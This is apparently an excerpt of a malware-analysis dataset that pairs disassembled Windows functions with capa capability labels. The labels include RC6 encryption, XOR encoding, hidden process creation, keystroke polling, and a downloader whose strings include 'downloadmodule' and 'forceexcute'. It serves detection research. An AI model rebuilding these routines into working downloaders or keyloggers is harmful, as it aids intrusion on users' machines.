joyce8/EMBER2024-capa huggingface dataset:
Function at 0x541a4c
Capabilities:
Encrypt data using rc6

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
lea edx, [ebp - 0x54]
mov eax, dword [0x575e0c]
mov ecx, 0x40
call fcn.0040318c
mov dword [0x575e10], 0xb7e15163
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax*4 + 0x575e0c]
add eax, 0x9e3779b9
mov edx, dword [ebp - 4]
mov dword [edx*4 + 0x575e10], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1a
jne 0x541a75
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax*4 + 0x575e10]
add eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
mov edx, 3
call fcn.005418ac
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov dword [eax*4 + 0x575e10], edx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x54]
add eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
call fcn.005418ac
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], edx
mov eax, dword [ebp - 4]
inc eax
mov ecx, 0x1a
cdq
idiv ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
inc eax
and eax, 0x8000000f
jns 0x541b20
dec eax
or eax, 0xfffffff0
inc eax
mov dword [ebp - 8], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x4f
jne 0x541ab2
mov esp, ebp
pop ebp
ret

Function at 0x541b30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [0x575e10]
add dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, dword [0x575e14]
add dword [eax + 4], edx
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
xor eax, dword [edx + 4]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 4]
call fcn.005418ac
mov edx, dword [ebp - 0xc]
add edx, edx
add eax, dword [edx*4 + 0x575e10]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov edx, dword [ebp - 4]
xor eax, dword [edx]
mov edx, dword [ebp - 4]
mov edx, dword [edx]
call fcn.005418ac
mov edx, dword [ebp - 0xc]
add edx, edx
add eax, dword [edx*4 + 0x575e14]
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xd
jne 0x541b57
mov byte [ebp - 5], 1
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x541bbc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0xc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov edx, dword [ebp - 0xc]
add edx, edx
sub eax, dword [edx*4 + 0x575e14]
mov edx, dword [ebp - 4]
mov edx, dword [edx]
call fcn.005418b4
mov edx, dword [ebp - 4]
xor eax, dword [edx]
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
add edx, edx
sub eax, dword [edx*4 + 0x575e10]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 4]
call fcn.005418b4
mov edx, dword [ebp - 4]
xor eax, dword [edx + 4]
mov edx, dword [ebp - 4]
mov dword [edx], eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0
jne 0x541bcc
mov eax, dword [ebp - 4]
mov edx, dword [0x575e14]
sub dword [eax + 4], edx
mov eax, dword [ebp - 4]
mov edx, dword [0x575e10]
sub dword [eax], edx
mov byte [ebp - 5], 1
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x542eb4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x542ebc
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405214
xor eax, eax
push ebp
push 0x54303a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x543050
call fcn.00405060
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.00542d14
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.004050ac
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xc]
call fcn.00542c48
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x20
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040528c
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x10]
call fcn.0044aff8
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x10]
call fcn.00404e2c
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404de8
mov dl, 1
mov eax, dword [0x41bf38]
call fcn.00403e24
mov dword [ebp - 0x14], eax
mov dl, 1
mov eax, dword [0x41bf38]
call fcn.00403e24
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
call fcn.004e761c
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00420dcc
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.00420dcc
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
call fcn.00541c48
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
call fcn.004e76ec
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
call fcn.0044aff8
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x10]
call fcn.00404e2c
mov dword [ebp - 0x1c], 1
lea eax, [ebp - 0x30]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
movzx edx, byte [edx + ecx - 1]
xor edx, dword [ebp - 0x1c]
call fcn.00404f7c
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx + ecx*2]
inc ecx
mov edx, dword [ebp - 8]
call fcn.00405314
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x21
jne 0x542fc9
mov eax, dword [ebp - 0x14]
call fcn.00403e54
mov eax, dword [ebp - 0x18]
call fcn.00403e54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x543041
lea eax, [ebp - 0x30]
mov edx, 5
call fcn.00404db8
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404db8
lea eax, [ebp - 4]
call fcn.00404d94
ret
Function at 0x543080
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405214
xor eax, eax
push ebp
push 0x5431e9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.00404d94
mov dword [ebp - 0x1c], 1
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*2]
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + edx]
xor edx, dword [ebp - 0x1c]
call fcn.00404f7c
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0xc]
call fcn.00405060
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x21
jne 0x5430c2
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
call fcn.0044aff8
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0xc]
call fcn.00404e2c
xor eax, eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
call fcn.00404d94
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*2]
inc edx
sub edx, dword [ebp - 0x20]
lea eax, [ebp - 4]
mov ecx, 1
call fcn.004052cc
inc dword [ebp - 0x20]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x21
jne 0x543118
mov dl, 1
mov eax, dword [0x41bf38]
call fcn.00403e24
mov dword [ebp - 0x14], eax
mov dl, 1
mov eax, dword [0x41bf38]
call fcn.00403e24
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.004e761c
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00420dcc
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.00420dcc
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
call fcn.00541d90
lea edx, [ebp - 4]
mov eax, dword [ebp - 0x18]
call fcn.004e76ec
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404de8
mov eax, dword [ebp - 0x14]
call fcn.00403e54
mov eax, dword [ebp - 0x18]
call fcn.00403e54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5431f0
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.00404db8
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404db8
lea eax, [ebp - 4]
call fcn.00404d94
ret
Function at 0x554754
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x554826
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x554809
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
call sub.shell32.dll_SHGetMalloc
test eax, eax
jne 0x5547e8
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
mov eax, dword [ebp - 8]
mov edx, 0x104
call fcn.004054b4
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00405224
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
test eax, eax
jne 0x5547ce
call fcn.004047b4
jmp 0x554810
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00405224
push eax
call sub.kernel32.dll_lstrlenA_1
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.004054b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x554810
cmp dword [ebp - 0x10], 0
je 0x554808
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55482d
lea eax, [ebp - 0xc]
call fcn.00406bdc
ret

Function at 0x556208
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
mov dword [ebp - 4], eax
lea eax, [ebp - 0x404]
push eax
push 0x3ff
call sub.kernel32.dll_GetTempPathA
mov ecx, eax
lea edx, [ebp - 0x404]
mov eax, dword [ebp - 4]
call fcn.00404e84
mov esp, ebp
pop ebp
ret
Function at 0x5589f0
Capabilities:
Create process on windows
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405214
xor eax, eax
push ebp
push 0x558b30
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x58]
xor ecx, ecx
mov edx, 0x44
call fcn.004036f8
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov ax, word [ebp - 0xc]
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405224
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x558a6b
mov byte [ebp - 0xd], 0
jmp 0x558b1a
cmp byte [ebp - 5], 0
je 0x558ac3
mov eax, dword [0x56fc58]
mov eax, dword [eax]
call fcn.00491f88
push 0
mov eax, dword [0x56fc58]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffff
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_WaitForSingleObject
jmp 0x558ad5
mov eax, dword [0x56fc58]
mov eax, dword [eax]
call fcn.00492688
mov eax, dword [0x56fc58]
mov eax, dword [eax]
cmp byte [eax + 0xa4], 0
je 0x558ac3
push 0
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_TerminateProcess
push 0x64
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x558a9c
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_GetExitCodeProcess
cmp dword [ebp - 0x14], 0
sete byte [ebp - 0xd]
cmp byte [ebp - 5], 0
je 0x558b1a
push 0
mov eax, dword [0x56fc58]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [0x56fc58]
mov eax, dword [eax]
call fcn.00492068
mov eax, dword [0x56fc58]
mov eax, dword [eax]
call fcn.00492198
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x558b37
lea eax, [ebp - 4]
call fcn.00404d94
ret
Function at 0x558e20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
xor edx, edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405214
xor eax, eax
push ebp
push 0x558fac
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
xor edx, edx
mov eax, 2
call fcn.00502b7c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x128
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 0x10]
call fcn.00502b9c
mov dword [ebp - 0xc], eax
jmp 0x558f73
lea eax, [ebp - 0x144]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.00405004
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.0040a638
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.00409768
mov eax, dword [ebp - 0x13c]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00409768
mov edx, dword [ebp - 0x148]
pop eax
call fcn.004051bc
je 0x558f47
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.00405004
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call fcn.00409768
mov eax, dword [ebp - 0x14c]
push eax
lea edx, [ebp - 0x154]
mov eax, dword [ebp - 4]
call fcn.00409768
mov edx, dword [ebp - 0x154]
pop eax
call fcn.004051bc
jne 0x558f62
push 0
mov eax, dword [ebp - 0x130]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov dword [ebp - 8], eax
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 0x10]
call fcn.00502bbc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x558ea2
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x558fb3
lea eax, [ebp - 0x154]
mov edx, 7
call fcn.00404db8
lea eax, [ebp - 4]
call fcn.00404d94
ret
Function at 0x55e5f4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405214
xor eax, eax
push ebp
push 0x55e6e4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
call sub.user32.dll_GetKeyState
not ax
test al, 1
sete al
neg al
sbb eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x55e638
xor edx, edx
mov al, 0x14
call fcn.0055e5c0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x55e64f
mov eax, dword [ebp - 0x18]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jle 0x55e6bf
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 1
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov al, byte [eax + edx - 1]
push eax
call sub.user32.dll_VkKeyScanA
mov word [ebp - 0xe], ax
movzx eax, word [ebp - 0xe]
shr eax, 8
cmp al, 0xff
je 0x55e6b7
cmp byte [ebp - 0xe], 0xff
je 0x55e6b7
movzx eax, word [ebp - 0xe]
shr eax, 8
and al, 1
cmp al, 1
jne 0x55e699
mov al, 0x10
call fcn.0055e588
mov al, byte [ebp - 0xe]
xor edx, edx
call fcn.0055e5c0
movzx eax, word [ebp - 0xe]
shr eax, 8
and al, 1
cmp al, 1
jne 0x55e6b7
mov al, 0x10
call fcn.0055e5a4
inc dword [ebp - 8]
dec dword [ebp - 0x14]
jne 0x55e660
cmp dword [ebp - 0xc], 0
je 0x55e6ce
xor edx, edx
mov al, 0x14
call fcn.0055e5c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55e6eb
lea eax, [ebp - 4]
call fcn.00404d94
ret

Function at 0x564dd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
mov dword [ebp - 4], eax
lea eax, [ebp - 0x404]
push eax
push 0x3ff
call sub.kernel32.dll_GetTempPathA
mov ecx, eax
lea edx, [ebp - 0x404]
mov eax, dword [ebp - 4]
call fcn.00404e84
mov esp, ebp
pop ebp
ret
Function at 0x100010bd
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1005fdde
mov eax, dword fs:[0]
push eax
sub esp, 0x98
mov eax, dword [0x10072414]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
push esi
push edi
mov eax, dword [0x10072414]
xor eax, esp
push eax
lea eax, [esp + 0xa8]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov esi, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
call fcn.10002b51
lea edi, [esi + 0xc]
call fcn.10002a6f
lea eax, [esp + 0x24]
push eax
call fcn.100052a1
push ebx
push ebx
push dword [esp + 0x1c]
lea ecx, [esp + 0x30]
mov dword [esp + 0xbc], ebx
call fcn.10008c4f
cmp byte [esp + 0x68], bl
jne 0x100011d4
push str.downloadmodule
lea eax, [esp + 0x28]
call fcn.10001047
mov edi, eax
cmp edi, ebx
je 0x100011d4
push str.downloadfile
call fcn.10001047
mov dword [esp + 0x20], eax
push str.check
mov eax, edi
call fcn.10001047
mov dword [esp + 0x1c], eax
push str.rule
mov eax, edi
call fcn.10001047
mov dword [esp + 0x14], eax
push str.forceexcute
mov eax, edi
call fcn.10001047
cmp dword [esp + 0x20], ebx
je 0x100011d4
cmp dword [esp + 0x1c], ebx
je 0x100011d4
cmp dword [esp + 0x14], ebx
je 0x100011d4
cmp eax, ebx
je 0x100011d4
push dword [esp + 0x1c]
push esi
call fcn.10001309
test eax, eax
je 0x100011d4
push dword [esp + 0x14]
push esi
call fcn.10001917
test eax, eax
je 0x100011d4
lea edi, [esp + 0x24]
call fcn.10004d0a
mov dword [esp + 0x18], 1
or dword [esp + 0xb0], 0xffffffff
lea ecx, [esp + 0x24]
call fcn.10001081
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0xa8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x90]
xor ecx, esp
call fcn.10042ec5
mov esp, ebp
pop ebp
ret 4
Function at 0x100036fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10003755
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x10003747
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x10003743
cmp edi, eax
jae 0x10003747
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x10003735
cmp edi, eax
jb 0x1000374b
xor eax, eax
jmp 0x10003754
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x1000382b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000388f
cmp dword [ebp + 0xc], 1
je 0x10003867
cmp dword [ebp + 0xc], 2
je 0x10003867
push 0xd
pop eax
jmp 0x1000388f
mov eax, dword [ebp - 4]
test edi, edi
je 0x10003889
test eax, eax
je 0x10003884
test al, 1
jne 0x10003862
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x10003889
jmp 0x10003862
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8
Function at 0x10003e7d
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, eax
mov eax, ebx
cdq
push 3
pop ecx
idiv ecx
mov eax, ebx
xor esi, esi
sub eax, edx
lea eax, [eax*4 + 0xc]
cdq
idiv ecx
inc eax
push eax
call fcn.100439b0
pop ecx
mov ecx, eax
test ecx, ecx
je 0x10003f96
cmp ebx, 2
jle 0x10003f28
lea eax, [ebx - 3]
xor edx, edx
push 3
pop ebx
div ebx
inc eax
mov dword [ebp - 4], eax
imul eax, eax, 0xfffffffd
add dword [ebp + 8], eax
movzx edx, byte [edi]
mov eax, edx
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
movzx eax, byte [edi + 1]
and edx, 3
mov ebx, eax
shr ebx, 4
add edx, edx
mov dl, byte [ebx + edx*8 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 1], dl
movzx edx, byte [edi + 2]
mov ebx, edx
and eax, 0xf
shr ebx, 6
mov al, byte [ebx + eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and edx, 0x3f
mov byte [ecx + esi + 2], al
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 3], al
add esi, 4
add edi, 3
dec dword [ebp - 4]
jne 0x10003ecc
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x10003f87
movzx eax, byte [edi]
mov edx, eax
shr edx, 2
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and eax, 3
mov byte [ecx + esi], dl
cmp ebx, 1
jle 0x10003f70
movzx edx, byte [edi + 1]
mov edi, edx
add eax, eax
shr edi, 4
mov al, byte [edi + eax*8 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 1], al
and edx, 0xf
mov al, byte [edx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 2], al
mov byte [ecx + esi + 3], 0x3d
jmp 0x10003f84
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 1], al
mov word [ecx + esi + 2], 0x3d3d
add esi, 4
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x10003f90
mov dword [eax], esi
mov byte [ecx + esi], 0
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100040d3
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
xor esi, esi
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_5.00__Windows_98_
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x1c], eax
cmp eax, esi
je 0x100041c7
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x100041b0
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x100041a7
push ebx
push edi
mov edi, 0x100000
push edi
call fcn.1004251a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
pop ecx
lea ecx, [ebp - 8]
push ecx
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], esi
push eax
jmp 0x1000418a
push esi
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000419c
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x10], eax
jne 0x1000419c
cmp eax, esi
je 0x10004195
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x1000415e
jmp 0x1000419c
mov dword [ebp - 0x18], 1
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 4], esi
je 0x100041c7
push dword [ebp - 4]
call fcn.10043b1e
pop ecx
mov eax, dword [ebp - 0x18]
pop esi
leave
ret